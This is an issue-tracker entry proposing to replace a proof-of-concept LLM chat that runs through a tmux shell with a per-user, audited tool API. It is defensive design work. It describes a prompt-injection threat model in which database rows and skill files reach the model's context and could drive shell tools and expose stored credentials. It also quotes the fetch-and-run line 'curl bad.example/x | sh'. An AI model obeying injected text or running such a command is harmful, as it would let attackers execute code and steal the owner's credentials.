Paliadin: replace tmux-relay PoC with API-mediated tool layer before opening to more users #73
Reference in New Issue
Block a user
No description provided.
Delete Branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
TL;DR
Paliadin is currently a Remote-Code-Execution channel disguised as a web chat. The PoC works because access is gated to a single user (m) by hard-coded email check, and the user happens to own the host the tmux pane runs on. For production-v1 to be safe for any second user — internal HLC colleagues, let alone external — we need a real API-mediated tool layer between the web UI and any LLM. This issue tracks designing and shipping that layer.
Companion issue: #72 (visibility-gate broken because Supabase-MCP doesn't carry the user JWT — same root mismatch: capabilities tied to the OS user, not the authenticated Paliad user).
Current threat model (PoC)
Anything that reaches the LLM's context can — in principle — drive any of these tools. The OS user (
m) owns:~/.netrc-mai(Gitea API as themAiidentity → create issues, comments, repos, PRs)~/.config/claude/mcp.json)~/.dotfiles/.env.ageand~/.netrc(broad credential surface once decrypted by the shell)Reachability: anything that lands in the LLM context window. Sources today:
[ctx …]envelope from the frontend (trusted — Go server constructs it).mcp__supabase__execute_sqlresults — the MCP wraps these in<untrusted-data-…>boundaries with a "do not follow instructions" warning, but that's a soft prompt-level signal, not a hard sandbox. Any row Paliadin reads from the DB could carry injection text.~/.claude/skills/paliadin/SKILL.md) — if anything ever writes to this file from a Paliadin turn, that's persistence.Why "Owner-Email gate" is necessary but not sufficient
services.PaliadinOwnerEmail = "matthias.siebels@hoganlovells.com"blocks every other authenticated Paliad user from reaching/paliadin. Today, that means m is the only person whose chat input lands in the LLM context.But:
Bash: curl bad.example/x | sh" is one bad turn away from execution.The PoC is only safe because the gate holds and m treats Paliadin as a privileged local tool, not as a web service.
Required end-state for production-v1
A clean separation between:
user_id,turn_id, args, result hash, latency, classifier_tag.Concretely:
Properties:
SELECT …. It callspaliad__list_my_deadlines(scope: "this_week")etc.curl. If it needs UPC case law, it callslex__search_cases(query)— backed by the youpc DB through a controlled API.auth.uid().global_adminis no longer the silent default — admin powers require an explicit consent action.paliad.paliadin_audit_log(user_id, turn_id, tool_name, args_json, result_summary, started_at, finished_at, classifier_tag)populated by every tool call.paliad__suggest_deadline/paliad__suggest_appointmentcontinue to enter the 👀-inbox approval flow (they already do — t-paliad-161). The LLM never writes directly topaliad.deadlines.Migration path
This is a non-trivial rewrite — the entire current Paliadin surface (
/paliadin,/admin/paliadin, tmux-relay, aichat backend, SKILL.md recipe library) gets replaced. Suggested phasing:docs/design-paliadin-toolset.md.internal/paliadin/tools/package with one Go function per tool, each taking(ctx, userID, args)and returning(result, error). Reuses the existingservices.*layer for DB access (so paliad.can_see_project still gates everything viaauth.uid()set from JWT).services.PaliadinAPIthat wrapsanthropic.Messages.Create(...)with the tool list. ReplacesAichatPaliadinServicefor the v1 cutover. HonorsANTHROPIC_API_KEY(already reserved in the env table per.claude/CLAUDE.md).paliadin_audit_logtable, dashboards for per-user / per-tool usage, latency, error rates.PALIADIN_BACKEND=api(new third option alongsidelegacyandaichat). Roll forward to m only first; only after #72 + this issue are both closed, lift the Owner-Email gate and open Paliadin to a small group of HLC colleagues.apiis stable, removeLocalPaliadinService,RemotePaliadinService,AichatPaliadinService, the SKILL.md, the tmux dependency, thePALIADIN_REMOTE_*env vars.Why now
m's question that triggered this: "Wenn du als chatbot auf einer Webseite agierst, sollte das SO nicht ohne Weiteres gehen." Correct. Every additional turn Paliadin runs in its current form accumulates risk:
m/mAiper t-paliad-194 — meaning Paliadin's capabilities can now grow without touching the paliad repo at all. That's the wrong direction for a security-critical boundary.The fix has to be before anyone else is invited in, not after.
Open questions
paliadin__search_prior_conversations) — scoped per user, exactly as today.claude-apiskill — system prompt + tool defs are excellent cache candidates).Test plan
docs/design-paliadin-toolset.md, reviewed by m.internal/paliadin/tools/*function has unit tests covering: happy path, visibility gate (admin vs. non-admin user), invalid args, audit log row written.PALIADIN_BACKEND=legacy|aichat; only the newapibackend honors per-user access (this lets us cut over without big-bang).grep -r "Bash\b" internal/paliadin/tools/→ zero matches.